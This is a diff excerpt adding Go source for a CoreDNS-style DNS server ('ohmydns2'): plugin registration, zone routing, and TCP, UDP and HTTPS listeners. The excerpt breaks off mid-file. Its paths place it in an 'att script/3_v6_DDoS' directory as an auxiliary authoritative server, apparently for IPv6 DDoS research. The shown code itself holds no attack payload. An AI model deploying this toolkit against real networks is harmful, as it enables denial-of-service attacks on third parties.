||||
func (c *Config) Handler(name string) plugin.Handler {
|
||||
if c.registry == nil {
|
||||
return nil
|
||||
}
|
||||
if h, ok := c.registry[name]; ok {
|
||||
return h
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Handlers returns a slice of plugins that have been registered. This can be used to
|
||||
// inspect and interact with registered plugins but cannot be used to remove or add plugins.
|
||||
// Note that this is order dependent and the order is defined in directives.go, i.e. if your plugin
|
||||
// comes before the plugin you are checking; it will not be there (yet).
|
||||
func (c *Config) Handlers() []plugin.Handler {
|
||||
if c.registry == nil {
|
||||
return nil
|
||||
}
|
||||
hs := make([]plugin.Handler, 0, len(c.registry))
|
||||
for k := range c.registry {
|
||||
hs = append(hs, c.registry[k])
|
||||
}
|
||||
return hs
|
||||
}
|
||||
|
||||
func (h *dnsContext) validateZonesAndListeningAddresses() error {
|
||||
//Validate Zone and addresses
|
||||
checker := newOverlapZone()
|
||||
for _, conf := range h.configs {
|
||||
for _, h := range conf.ListenHosts {
|
||||
// Validate the overlapping of ZoneAddr
|
||||
akey := zoneAddr{Transport: conf.Transport, Zone: conf.Zone, Address: h, Port: conf.Port}
|
||||
var existZone, overlapZone *zoneAddr
|
||||
if len(conf.FilterFuncs) > 0 {
|
||||
// This config has filters. Check for overlap with other (unfiltered) configs.
|
||||
existZone, overlapZone = checker.check(akey)
|
||||
} else {
|
||||
// This config has no filters. Check for overlap with other (unfiltered) configs,
|
||||
// and register the zone to prevent subsequent zones from overlapping with it.
|
||||
existZone, overlapZone = checker.registerAndCheck(akey)
|
||||
}
|
||||
if existZone != nil {
|
||||
return fmt.Errorf("cannot serve %s - it is already defined", akey.String())
|
||||
}
|
||||
if overlapZone != nil {
|
||||
return fmt.Errorf("cannot serve %s - zone overlap listener capacity with %v", akey.String(), overlapZone.String())
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// groupConfigsByListenAddr groups site configs by their listen
|
||||
// (bind) address, so sites that use the same listener can be served
|
||||
// on the same server instance. The return value maps the listen
|
||||
// address (what you pass into net.Listen) to the list of site configs.
|
||||
// This function does NOT vet the configs to ensure they are compatible.
|
||||
func groupConfigsByListenAddr(configs []*Config) (map[string][]*Config, error) {
|
||||
groups := make(map[string][]*Config)
|
||||
for _, conf := range configs {
|
||||
for _, h := range conf.ListenHosts {
|
||||
addr, err := net.ResolveTCPAddr("tcp", net.JoinHostPort(h, conf.Port))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
addrstr := conf.Transport + "://" + addr.String()
|
||||
groups[addrstr] = append(groups[addrstr], conf)
|
||||
}
|
||||
}
|
||||
|
||||
return groups, nil
|
||||
}
|
||||
|
||||
// DefaultPort is the default port.
|
||||
const DefaultPort = transport.Port
|
||||
|
||||
// These "soft defaults" are configurable by
|
||||
// command line flags, etc.
|
||||
var (
|
||||
// Port is the port we listen on by default.
|
||||
Port = DefaultPort
|
||||
|
||||
// GracefulTimeout is the maximum duration of a graceful shutdown.
|
||||
GracefulTimeout time.Duration
|
||||
)
|
||||
|
||||
var _ caddy.GracefulServer = new(Server)
|
||||
456
att script/3_v6_DDoS/code/辅助权威服务器/core/dnsserver/server.go
Normal file
456
att script/3_v6_DDoS/code/辅助权威服务器/core/dnsserver/server.go
Normal file
@@ -0,0 +1,456 @@
|
||||
package dnsserver
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"github.com/coredns/caddy"
|
||||
"github.com/miekg/dns"
|
||||
ot "github.com/opentracing/opentracing-go"
|
||||
"net"
|
||||
"ohmydns2/plugin"
|
||||
"ohmydns2/plugin/pkg/edns"
|
||||
"ohmydns2/plugin/pkg/log"
|
||||
"ohmydns2/plugin/pkg/rcode"
|
||||
"ohmydns2/plugin/pkg/request"
|
||||
"ohmydns2/plugin/pkg/reuseport"
|
||||
"ohmydns2/plugin/pkg/trace"
|
||||
"ohmydns2/plugin/pkg/transport"
|
||||
"ohmydns2/plugin/prometheus/vars"
|
||||
"runtime"
|
||||
"runtime/debug"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Server represents an instance of a server, which serves
|
||||
// DNS requests at a particular address (host and port). A
|
||||
// server is capable of serving numerous zones on
|
||||
// the same address and the listener may be stopped for
|
||||
// graceful termination (POSIX only).
|
||||
type Server struct {
|
||||
Addr string // Address we listen on
|
||||
|
||||
server [2]*dns.Server // 0 is a net.Listener, 1 is a net.PacketConn (a *UDPConn) in our case.
|
||||
m sync.Mutex // protects the servers
|
||||
|
||||
zones map[string][]*Config // zones keyed by their address
|
||||
dnsWg sync.WaitGroup // used to wait on outstanding connections
|
||||
graceTimeout time.Duration // the maximum duration of a graceful shutdown
|
||||
trace trace.Trace // the trace plugin for the server
|
||||
debug bool // disable recover()
|
||||
stacktrace bool // enable stacktrace in recover error log
|
||||
classChaos bool // allow non-INET class queries
|
||||
idleTimeout time.Duration // Idle timeout for TCP
|
||||
readTimeout time.Duration // Read timeout for TCP
|
||||
writeTimeout time.Duration // Write timeout for TCP
|
||||
|
||||
tsigSecret map[string]string
|
||||
}
|
||||
|
||||
// MetadataCollector is a plugin that can retrieve metadata functions from all metadata providing plugins
|
||||
type MetadataCollector interface {
|
||||
Collect(context.Context, request.Request) context.Context
|
||||
}
|
||||
|
||||
// NewServer returns a new OhmyDNS server and compiles all plugins in to it. By default CH class
|
||||
// queries are blocked unless queries from enableChaos are loaded.
|
||||
func NewServer(addr string, group []*Config) (*Server, error) {
|
||||
s := &Server{
|
||||
Addr: addr,
|
||||
zones: make(map[string][]*Config),
|
||||
graceTimeout: 5 * time.Second,
|
||||
idleTimeout: 10 * time.Second,
|
||||
readTimeout: 3 * time.Second,
|
||||
writeTimeout: 5 * time.Second,
|
||||
tsigSecret: make(map[string]string),
|
||||
}
|
||||
log.Infof("Do53服务启动,监听地址: %v", addr)
|
||||
|
||||
// We have to bound our wg with one increment
|
||||
// to prevent a "race condition" that is hard-coded
|
||||
// into sync.WaitGroup.Wait() - basically, an add
|
||||
// with a positive delta must be guaranteed to
|
||||
// occur before Wait() is called on the wg.
|
||||
// In a way, this kind of acts as a safety barrier.
|
||||
s.dnsWg.Add(1)
|
||||
|
||||
for _, site := range group {
|
||||
if site.Debug {
|
||||
s.debug = true
|
||||
log.D.Set()
|
||||
}
|
||||
s.stacktrace = site.Stacktrace
|
||||
|
||||
// append the config to the zone's configs
|
||||
s.zones[site.Zone] = append(s.zones[site.Zone], site)
|
||||
|
||||
// set timeouts
|
||||
if site.ReadTimeout != 0 {
|
||||
s.readTimeout = site.ReadTimeout
|
||||
}
|
||||
if site.WriteTimeout != 0 {
|
||||
s.writeTimeout = site.WriteTimeout
|
||||
}
|
||||
if site.IdleTimeout != 0 {
|
||||
s.idleTimeout = site.IdleTimeout
|
||||
}
|
||||
|
||||
// copy tsig secrets
|
||||
for key, secret := range site.TsigSecret {
|
||||
s.tsigSecret[key] = secret
|
||||
}
|
||||
|
||||
// compile custom plugin for everything
|
||||
var stack plugin.Handler
|
||||
for i := len(site.Plugin) - 1; i >= 0; i-- {
|
||||
stack = site.Plugin[i](stack)
|
||||
|
||||
// register the *handler* also
|
||||
site.registerHandler(stack)
|
||||
|
||||
// If the current plugin is a MetadataCollector, bookmark it for later use. This loop traverses the plugin
|
||||
// list backwards, so the first MetadataCollector plugin wins.
|
||||
if mdc, ok := stack.(MetadataCollector); ok {
|
||||
site.metaCollector = mdc
|
||||
}
|
||||
|
||||
if s.trace == nil && stack.Name() == "trace" {
|
||||
// we have to stash away the plugin, not the
|
||||
// Tracer object, because the Tracer won't be initialized yet
|
||||
if t, ok := stack.(trace.Trace); ok {
|
||||
s.trace = t
|
||||
}
|
||||
}
|
||||
// Unblock CH class queries when any of these plugins are loaded.
|
||||
if _, ok := EnableChaos[stack.Name()]; ok {
|
||||
s.classChaos = true
|
||||
}
|
||||
}
|
||||
site.pluginChain = stack
|
||||
}
|
||||
|
||||
if !s.debug {
|
||||
// When reloading we need to explicitly disable debug logging if it is now disabled.
|
||||
log.D.Clear()
|
||||
}
|
||||
|
||||
return s, nil
|
||||
}
|
||||
|
||||
// Compile-time check to ensure Server implements the caddy.GracefulServer interface
|
||||
var _ caddy.GracefulServer = &Server{}
|
||||
|
||||
// Serve starts the server with an existing listener. It blocks until the server stops.
|
||||
// This implements caddy.TCPServer interface.
|
||||
func (s *Server) Serve(l net.Listener) error {
|
||||
s.m.Lock()
|
||||
|
||||
s.server[tcp] = &dns.Server{Listener: l,
|
||||
Net: "tcp",
|
||||
TsigSecret: s.tsigSecret,
|
||||
MaxTCPQueries: tcpMaxQueries,
|
||||
ReadTimeout: s.readTimeout,
|
||||
WriteTimeout: s.writeTimeout,
|
||||
IdleTimeout: func() time.Duration {
|
||||
return s.idleTimeout
|
||||
},
|
||||
Handler: dns.HandlerFunc(func(w dns.ResponseWriter, r *dns.Msg) {
|
||||
ctx := context.WithValue(context.Background(), Key{}, s)
|
||||
ctx = context.WithValue(ctx, LoopKey{}, 0)
|
||||
s.ServeDNS(ctx, w, r)
|
||||
})}
|
||||
|
||||
s.m.Unlock()
|
||||
|
||||
return s.server[tcp].ActivateAndServe()
|
||||
}
|
||||
|
||||
// ServePacket starts the server with an existing packetconn. It blocks until the server stops.
|
||||
// This implements caddy.UDPServer interface.
|
||||
func (s *Server) ServePacket(p net.PacketConn) error {
|
||||
s.m.Lock()
|
||||
s.server[udp] = &dns.Server{PacketConn: p, Net: "udp", Handler: dns.HandlerFunc(func(w dns.ResponseWriter, r *dns.Msg) {
|
||||
ctx := context.WithValue(context.Background(), Key{}, s)
|
||||
ctx = context.WithValue(ctx, LoopKey{}, 0)
|
||||
s.ServeDNS(ctx, w, r)
|
||||
}), TsigSecret: s.tsigSecret}
|
||||
s.m.Unlock()
|
||||
|
||||
return s.server[udp].ActivateAndServe()
|
||||
}
|
||||
|
||||
// Listen implements caddy.TCPServer interface.
|
||||
func (s *Server) Listen() (net.Listener, error) {
|
||||
l, err := reuseport.Listen("tcp", s.Addr[len(transport.DNS+"://"):])
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return l, nil
|
||||
}
|
||||
|
||||
// WrapListener Listen implements caddy.GracefulServer interface.
|
||||
func (s *Server) WrapListener(ln net.Listener) net.Listener {
|
||||
return ln
|
||||
}
|
||||
|
||||
// ListenPacket implements caddy.UDPServer interface.
|
||||
func (s *Server) ListenPacket() (net.PacketConn, error) {
|
||||
p, err := reuseport.ListenPacket("udp", s.Addr[len(transport.DNS+"://"):])
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return p, nil
|
||||
}
|
||||
|
||||
// Stop stops the server. It blocks until the server is
|
||||
// totally stopped. On POSIX systems, it will wait for
|
||||
// connections to close (up to a max timeout of a few
|
||||
// seconds); on Windows it will close the listener
|
||||
// immediately.
|
||||
// This implements Caddy.Stopper interface.
|
||||
func (s *Server) Stop() (err error) {
|
||||
if runtime.GOOS != "windows" {
|
||||
// force connections to close after timeout
|
||||
done := make(chan struct{})
|
||||
go func() {
|
||||
s.dnsWg.Done() // decrement our initial increment used as a barrier
|
||||
s.dnsWg.Wait()
|
||||
close(done)
|
||||
}()
|
||||
|
||||
// Wait for remaining connections to finish or
|
||||
// force them all to close after timeout
|
||||
select {
|
||||
case <-time.After(s.graceTimeout):
|
||||
case <-done:
|
||||
}
|
||||
}
|
||||
|
||||
// Close the listener now; this stops the server without delay
|
||||
s.m.Lock()
|
||||
for _, s1 := range s.server {
|
||||
// We might not have started and initialized the full set of servers
|
||||
if s1 != nil {
|
||||
err = s1.Shutdown()
|
||||
}
|
||||
}
|
||||
s.m.Unlock()
|
||||
return
|
||||
}
|
||||
|
||||
// Address together with Stop() implement caddy.GracefulServer.
|
||||
func (s *Server) Address() string { return s.Addr }
|
||||
|
||||
// ServeDNS is the entry point for every request to the address that
|
||||
// is bound to. It acts as a multiplexer for the requests zonename as
|
||||
// defined in the request so that the correct zone
|
||||
// (configuration and plugin stack) will handle the request.
|
||||
func (s *Server) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) {
|
||||
// The default dns.Mux checks the question section size, but we have our
|
||||
// own mux here. Check if we have a question section. If not drop them here.
|
||||
if r == nil || len(r.Question) == 0 {
|
||||
errorAndMetricsFunc(s.Addr, w, r, dns.RcodeServerFailure)
|
||||
return
|
||||
}
|
||||
|
||||
if !s.debug {
|
||||
defer func() {
|
||||
// In case the user doesn't enable error plugin, we still
|
||||
// need to make sure that we stay alive up here
|
||||
if rec := recover(); rec != nil {
|
||||
if s.stacktrace {
|
||||
log.Errorf("Recovered from panic in server: %q %v\n%s", s.Addr, rec, string(debug.Stack()))
|
||||
} else {
|
||||
log.Errorf("Recovered from panic in server: %q %v", s.Addr, rec)
|
||||
}
|
||||
vars.Panic.Inc()
|
||||
errorAndMetricsFunc(s.Addr, w, r, dns.RcodeServerFailure)
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
if !s.classChaos && r.Question[0].Qclass != dns.ClassINET {
|
||||
errorAndMetricsFunc(s.Addr, w, r, dns.RcodeRefused)
|
||||
return
|
||||
}
|
||||
|
||||
if m, err := edns.Version(r); err != nil { // Wrong EDNS version, return at once.
|
||||
w.WriteMsg(m)
|
||||
return
|
||||
}
|
||||
|
||||
// Wrap the response writer in a ScrubWriter so we automatically make the reply fit in the client's buffer.
|
||||
w = request.NewScrubWriter(r, w)
|
||||
|
||||
q := strings.ToLower(r.Question[0].Name)
|
||||
var (
|
||||
off int
|
||||
end bool
|
||||
dshandler *Config
|
||||
)
|
||||
|
||||
for {
|
||||
if z, ok := s.zones[q[off:]]; ok {
|
||||
for _, h := range z {
|
||||
if h.pluginChain == nil { // zone defined, but has not got any plugins
|
||||
errorAndMetricsFunc(s.Addr, w, r, dns.RcodeRefused)
|
||||
return
|
||||
}
|
||||
|
||||
if h.metaCollector != nil {
|
||||
// Collect metadata now, so it can be used before we send a request down the plugin chain.
|
||||
ctx = h.metaCollector.Collect(ctx, request.Request{Req: r, W: w})
|
||||
}
|
||||
|
||||
// If all filter funcs pass, use this config.
|
||||
if passAllFilterFuncs(ctx, h.FilterFuncs, &request.Request{Req: r, W: w}) {
|
||||
if h.ViewName != "" {
|
||||
// if there was a view defined for this Config, set the view name in the context
|
||||
ctx = context.WithValue(ctx, ViewKey{}, h.ViewName)
|
||||
}
|
||||
if r.Question[0].Qtype != dns.TypeDS {
|
||||
rcode, _ := h.pluginChain.ServeDNS(ctx, w, r)
|
||||
if !plugin.ClientWrite(rcode) {
|
||||
errorFunc(s.Addr, w, r, rcode)
|
||||
}
|
||||
return
|
||||
}
|
||||
// The type is DS, keep the handler, but keep on searching as maybe we are serving
|
||||
// the parent as well and the DS should be routed to it - this will probably *misroute* DS
|
||||
// queries to a possibly grand parent, but there is no way for us to know at this point
|
||||
// if there is an actual delegation from grandparent -> parent -> zone.
|
||||
// In all fairness: direct DS queries should not be needed.
|
||||
dshandler = h
|
||||
}
|
||||
}
|
||||
}
|
||||
off, end = dns.NextLabel(q, off)
|
||||
if end {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if r.Question[0].Qtype == dns.TypeDS && dshandler != nil && dshandler.pluginChain != nil {
|
||||
// DS request, and we found a zone, use the handler for the query.
|
||||
rcode, _ := dshandler.pluginChain.ServeDNS(ctx, w, r)
|
||||
if !plugin.ClientWrite(rcode) {
|
||||
errorFunc(s.Addr, w, r, rcode)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// Wildcard match, if we have found nothing try the root zone as a last resort.
|
||||
if z, ok := s.zones["."]; ok {
|
||||
for _, h := range z {
|
||||
if h.pluginChain == nil {
|
||||
continue
|
||||
}
|
||||
|
||||
if h.metaCollector != nil {
|
||||
// Collect metadata now, so it can be used before we send a request down the plugin chain.
|
||||
ctx = h.metaCollector.Collect(ctx, request.Request{Req: r, W: w})
|
||||
}
|
||||
|
||||
// If all filter funcs pass, use this config.
|
||||
if passAllFilterFuncs(ctx, h.FilterFuncs, &request.Request{Req: r, W: w}) {
|
||||
if h.ViewName != "" {
|
||||
// if there was a view defined for this Config, set the view name in the context
|
||||
ctx = context.WithValue(ctx, ViewKey{}, h.ViewName)
|
||||
}
|
||||
rcode, _ := h.pluginChain.ServeDNS(ctx, w, r)
|
||||
if !plugin.ClientWrite(rcode) {
|
||||
errorFunc(s.Addr, w, r, rcode)
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Still here? Error out with REFUSED.
|
||||
errorAndMetricsFunc(s.Addr, w, r, dns.RcodeRefused)
|
||||
}
|
||||
|
||||
// passAllFilterFuncs returns true if all filter funcs evaluate to true for the given request
|
||||
func passAllFilterFuncs(ctx context.Context, filterFuncs []FilterFunc, req *request.Request) bool {
|
||||
for _, ff := range filterFuncs {
|
||||
if !ff(ctx, req) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// OnStartupComplete lists the sites served by this server
|
||||
// and any relevant information, assuming Quiet is false.
|
||||
func (s *Server) OnStartupComplete() {
|
||||
if Quiet {
|
||||
return
|
||||
}
|
||||
|
||||
out := startUpZones("", s.Addr, s.zones)
|
||||
if out != "" {
|
||||
fmt.Print(out)
|
||||
}
|
||||
}
|
||||
|
||||
// Tracer returns the tracer in the server if defined.
|
||||
func (s *Server) Tracer() ot.Tracer {
|
||||
if s.trace == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
return s.trace.Tracer()
|
||||
}
|
||||
|
||||
// errorFunc responds to an DNS request with an error.
|
||||
func errorFunc(server string, w dns.ResponseWriter, r *dns.Msg, rc int) {
|
||||
state := request.Request{W: w, Req: r}
|
||||
|
||||
answer := new(dns.Msg)
|
||||
answer.SetRcode(r, rc)
|
||||
state.SizeAndDo(answer)
|
||||
|
||||
w.WriteMsg(answer)
|
||||
}
|
||||
|
||||
func errorAndMetricsFunc(server string, w dns.ResponseWriter, r *dns.Msg, rc int) {
|
||||
state := request.Request{W: w, Req: r}
|
||||
|
||||
answer := new(dns.Msg)
|
||||
answer.SetRcode(r, rc)
|
||||
state.SizeAndDo(answer)
|
||||
|
||||
vars.Report(server, state, vars.Dropped, "", rcode.ToString(rc), "" /* plugin */, answer.Len(), time.Now())
|
||||
|
||||
w.WriteMsg(answer)
|
||||
}
|
||||
|
||||
const (
|
||||
tcp = 0
|
||||
udp = 1
|
||||
|
||||
tcpMaxQueries = -1
|
||||
)
|
||||
|
||||
type (
|
||||
// Key is the context key for the current server added to the context.
|
||||
Key struct{}
|
||||
|
||||
// LoopKey is the context key to detect server wide loops.
|
||||
LoopKey struct{}
|
||||
|
||||
// ViewKey is the context key for the current view, if defined
|
||||
ViewKey struct{}
|
||||
)
|
||||
|
||||
// EnableChaos is a map with plugin names for which we should open CH class queries as we block these by default.
|
||||
var EnableChaos = map[string]struct{}{
|
||||
"chaos": {},
|
||||
"forward": {},
|
||||
"proxy": {},
|
||||
}
|
||||
|
||||
// Quiet mode will not show any informative output on initialization.
|
||||
var Quiet bool
|
||||
180
att script/3_v6_DDoS/code/辅助权威服务器/core/dnsserver/server_grpc.go
Normal file
180
att script/3_v6_DDoS/code/辅助权威服务器/core/dnsserver/server_grpc.go
Normal file
@@ -0,0 +1,180 @@
|
||||
package dnsserver
|
||||
|
||||
//暂不启用
|
||||
//
|
||||
//import (
|
||||
// "crypto/tls"
|
||||
// "errors"
|
||||
// "fmt"
|
||||
// "net"
|
||||
// "ohmydns2/plugin/pkg/reuseport"
|
||||
// "ohmydns2/plugin/pkg/transport"
|
||||
//
|
||||
// "github.com/coredns/caddy"
|
||||
// "github.com/miekg/dns"
|
||||
// "github.com/opentracing/opentracing-go"
|
||||
//)
|
||||
//
|
||||
//// ServergRPC represents an instance of a DNS-over-gRPC server.
|
||||
//type ServergRPC struct {
|
||||
// *Server
|
||||
// *pb.UnimplementedDnsServiceServer
|
||||
// grpcServer *grpc.Server
|
||||
// listenAddr net.Addr
|
||||
// tlsConfig *tls.Config
|
||||
//}
|
||||
//
|
||||
//// NewServergRPC returns a new CoreDNS GRPC server and compiles all plugin in to it.
|
||||
//func NewServergRPC(addr string, group []*Config) (*ServergRPC, error) {
|
||||
// s, err := NewServer(addr, group)
|
||||
// if err != nil {
|
||||
// return nil, err
|
||||
// }
|
||||
// // The *tls* plugin must make sure that multiple conflicting
|
||||
// // TLS configuration returns an error: it can only be specified once.
|
||||
// var tlsConfig *tls.Config
|
||||
// for _, z := range s.zones {
|
||||
// for _, conf := range z {
|
||||
// // Should we error if some configs *don't* have TLS?
|
||||
// tlsConfig = conf.TLSConfig
|
||||
// }
|
||||
// }
|
||||
// // http/2 is required when using gRPC. We need to specify it in next protos
|
||||
// // or the upgrade won't happen.
|
||||
// if tlsConfig != nil {
|
||||
// tlsConfig.NextProtos = []string{"h2"}
|
||||
// }
|
||||
//
|
||||
// return &ServergRPC{Server: s, tlsConfig: tlsConfig}, nil
|
||||
//}
|
||||
//
|
||||
//// Compile-time check to ensure Server implements the caddy.GracefulServer interface
|
||||
//var _ caddy.GracefulServer = &Server{}
|
||||
//
|
||||
//// Serve implements caddy.TCPServer interface.
|
||||
//func (s *ServergRPC) Serve(l net.Listener) error {
|
||||
// s.m.Lock()
|
||||
// s.listenAddr = l.Addr()
|
||||
// s.m.Unlock()
|
||||
//
|
||||
// if s.Tracer() != nil {
|
||||
// onlyIfParent := func(parentSpanCtx opentracing.SpanContext, method string, req, resp interface{}) bool {
|
||||
// return parentSpanCtx != nil
|
||||
// }
|
||||
// intercept := otgrpc.OpenTracingServerInterceptor(s.Tracer(), otgrpc.IncludingSpans(onlyIfParent))
|
||||
// s.grpcServer = grpc.NewServer(grpc.UnaryInterceptor(intercept))
|
||||
// } else {
|
||||
// s.grpcServer = grpc.NewServer()
|
||||
// }
|
||||
//
|
||||
// pb.RegisterDnsServiceServer(s.grpcServer, s)
|
||||
//
|
||||
// if s.tlsConfig != nil {
|
||||
// l = tls.NewListener(l, s.tlsConfig)
|
||||
// }
|
||||
// return s.grpcServer.Serve(l)
|
||||
//}
|
||||
//
|
||||
//// ServePacket implements caddy.UDPServer interface.
|
||||
//func (s *ServergRPC) ServePacket(p net.PacketConn) error { return nil }
|
||||
//
|
||||
//// Listen implements caddy.TCPServer interface.
|
||||
//func (s *ServergRPC) Listen() (net.Listener, error) {
|
||||
// l, err := reuseport.Listen("tcp", s.Addr[len(transport.GRPC+"://"):])
|
||||
// if err != nil {
|
||||
// return nil, err
|
||||
// }
|
||||
// return l, nil
|
||||
//}
|
||||
//
|
||||
//// ListenPacket implements caddy.UDPServer interface.
|
||||
//func (s *ServergRPC) ListenPacket() (net.PacketConn, error) { return nil, nil }
|
||||
//
|
||||
//// OnStartupComplete lists the sites served by this server
|
||||
//// and any relevant information, assuming Quiet is false.
|
||||
//func (s *ServergRPC) OnStartupComplete() {
|
||||
// if Quiet {
|
||||
// return
|
||||
// }
|
||||
//
|
||||
// out := startUpZones(transport.GRPC+"://", s.Addr, s.zones)
|
||||
// if out != "" {
|
||||
// fmt.Print(out)
|
||||
// }
|
||||
//}
|
||||
//
|
||||
//// Stop stops the server. It blocks until the server is
|
||||
//// totally stopped.
|
||||
//func (s *ServergRPC) Stop() (err error) {
|
||||
// s.m.Lock()
|
||||
// defer s.m.Unlock()
|
||||
// if s.grpcServer != nil {
|
||||
// s.grpcServer.GracefulStop()
|
||||
// }
|
||||
// return
|
||||
//}
|
||||
//
|
||||
//// Query is the main entry-point into the gRPC server. From here we call ServeDNS like
|
||||
//// any normal server. We use a custom responseWriter to pick up the bytes we need to write
|
||||
//// back to the client as a protobuf.
|
||||
//func (s *ServergRPC) Query(ctx context.Context, in *pb.DnsPacket) (*pb.DnsPacket, error) {
|
||||
// msg := new(dns.Msg)
|
||||
// err := msg.Unpack(in.Msg)
|
||||
// if err != nil {
|
||||
// return nil, err
|
||||
// }
|
||||
//
|
||||
// p, ok := peer.FromContext(ctx)
|
||||
// if !ok {
|
||||
// return nil, errors.New("no peer in gRPC context")
|
||||
// }
|
||||
//
|
||||
// a, ok := p.Addr.(*net.TCPAddr)
|
||||
// if !ok {
|
||||
// return nil, fmt.Errorf("no TCP peer in gRPC context: %v", p.Addr)
|
||||
// }
|
||||
//
|
||||
// w := &gRPCresponse{localAddr: s.listenAddr, remoteAddr: a, Msg: msg}
|
||||
//
|
||||
// dnsCtx := context.WithValue(ctx, Key{}, s.Server)
|
||||
// dnsCtx = context.WithValue(dnsCtx, LoopKey{}, 0)
|
||||
// s.ServeDNS(dnsCtx, w, msg)
|
||||
//
|
||||
// packed, err := w.Msg.Pack()
|
||||
// if err != nil {
|
||||
// return nil, err
|
||||
// }
|
||||
//
|
||||
// return &pb.DnsPacket{Msg: packed}, nil
|
||||
//}
|
||||
//
|
||||
//// Shutdown stops the server (non gracefully).
|
||||
//func (s *ServergRPC) Shutdown() error {
|
||||
// if s.grpcServer != nil {
|
||||
// s.grpcServer.Stop()
|
||||
// }
|
||||
// return nil
|
||||
//}
|
||||
//
|
||||
//type gRPCresponse struct {
|
||||
// localAddr net.Addr
|
||||
// remoteAddr net.Addr
|
||||
// Msg *dns.Msg
|
||||
//}
|
||||
//
|
||||
//// Write is the hack that makes this work. It does not actually write the message
|
||||
//// but returns the bytes we need to write in r. We can then pick this up in Query
|
||||
//// and write a proper protobuf back to the client.
|
||||
//func (r *gRPCresponse) Write(b []byte) (int, error) {
|
||||
// r.Msg = new(dns.Msg)
|
||||
// return len(b), r.Msg.Unpack(b)
|
||||
//}
|
||||
//
|
||||
//// These methods implement the dns.ResponseWriter interface from Go DNS.
|
||||
//func (r *gRPCresponse) Close() error { return nil }
|
||||
//func (r *gRPCresponse) TsigStatus() error { return nil }
|
||||
//func (r *gRPCresponse) TsigTimersOnly(b bool) {}
|
||||
//func (r *gRPCresponse) Hijack() {}
|
||||
//func (r *gRPCresponse) LocalAddr() net.Addr { return r.localAddr }
|
||||
//func (r *gRPCresponse) RemoteAddr() net.Addr { return r.remoteAddr }
|
||||
//func (r *gRPCresponse) WriteMsg(m *dns.Msg) error { r.Msg = m; return nil }
|
||||
209
att script/3_v6_DDoS/code/辅助权威服务器/core/dnsserver/server_https.go
Normal file
209
att script/3_v6_DDoS/code/辅助权威服务器/core/dnsserver/server_https.go
Normal file
@@ -0,0 +1,209 @@
|
||||
package dnsserver
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"fmt"
|
||||
stdlog "log"
|
||||
"net"
|
||||
"net/http"
|
||||
"ohmydns2/plugin/pkg/dnsutil"
|
||||
"ohmydns2/plugin/pkg/doh"
|
||||
olog "ohmydns2/plugin/pkg/log"
|
||||
"ohmydns2/plugin/pkg/response"
|
||||
"ohmydns2/plugin/pkg/reuseport"
|
||||
"ohmydns2/plugin/pkg/transport"
|
||||
"ohmydns2/plugin/prometheus/vars"
|
||||
"strconv"
|
||||
"time"
|
||||
|
||||
"github.com/coredns/caddy"
|
||||
)
|
||||
|
||||
// ServerHTTPS represents an instance of a DNS-over-HTTPS server.
|
||||
type ServerHTTPS struct {
|
||||
*Server
|
||||
httpsServer *http.Server
|
||||
listenAddr net.Addr
|
||||
tlsConfig *tls.Config
|
||||
validRequest func(*http.Request) bool
|
||||
}
|
||||
|
||||
// loggerAdapter is a simple adapter around OhmyDNS logger made to implement io.Writer in order to log errors from HTTP server
|
||||
type loggerAdapter struct {
|
||||
}
|
||||
|
||||
func (l *loggerAdapter) Write(p []byte) (n int, err error) {
|
||||
olog.Debug(string(p))
|
||||
return len(p), nil
|
||||
}
|
||||
|
||||
// HTTPRequestKey is the context key for the current processed HTTP request (if current processed request was done over DOH)
|
||||
type HTTPRequestKey struct{}
|
||||
|
||||
// NewServerHTTPS returns a new CoreDNS HTTPS server and compiles all plugins in to it.
|
||||
func NewServerHTTPS(addr string, group []*Config) (*ServerHTTPS, error) {
|
||||
s, err := NewServer(addr, group)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// The *tls* plugin must make sure that multiple conflicting
|
||||
// TLS configuration returns an error: it can only be specified once.
|
||||
var tlsConfig *tls.Config
|
||||
for _, z := range s.zones {
|
||||
for _, conf := range z {
|
||||
// Should we error if some configs *don't* have TLS?
|
||||
tlsConfig = conf.TLSConfig
|
||||
}
|
||||
}
|
||||
|
||||
// http/2 is recommended when using DoH. We need to specify it in next protos
|
||||
// or the upgrade won't happen.
|
||||
if tlsConfig != nil {
|
||||
tlsConfig.NextProtos = []string{"h2", "http/1.1"}
|
||||
}
|
||||
|
||||
// Use a custom request validation func or use the standard DoH path check.
|
||||
var validator func(*http.Request) bool
|
||||
for _, z := range s.zones {
|
||||
for _, conf := range z {
|
||||
validator = conf.HTTPRequestValidateFunc
|
||||
}
|
||||
}
|
||||
if validator == nil {
|
||||
validator = func(r *http.Request) bool { return r.URL.Path == doh.Path }
|
||||
}
|
||||
|
||||
srv := &http.Server{
|
||||
ReadTimeout: s.readTimeout,
|
||||
WriteTimeout: s.writeTimeout,
|
||||
IdleTimeout: s.idleTimeout,
|
||||
ErrorLog: stdlog.New(&loggerAdapter{}, "", 0),
|
||||
}
|
||||
sh := &ServerHTTPS{
|
||||
Server: s, tlsConfig: tlsConfig, httpsServer: srv, validRequest: validator,
|
||||
}
|
||||
sh.httpsServer.Handler = sh
|
||||
|
||||
return sh, nil
|
||||
}
|
||||
|
||||
// Compile-time check to ensure Server implements the caddy.GracefulServer interface
|
||||
var _ caddy.GracefulServer = &Server{}
|
||||
|
||||
// Serve implements caddy.TCPServer interface.
|
||||
func (s *ServerHTTPS) Serve(l net.Listener) error {
|
||||
s.m.Lock()
|
||||
s.listenAddr = l.Addr()
|
||||
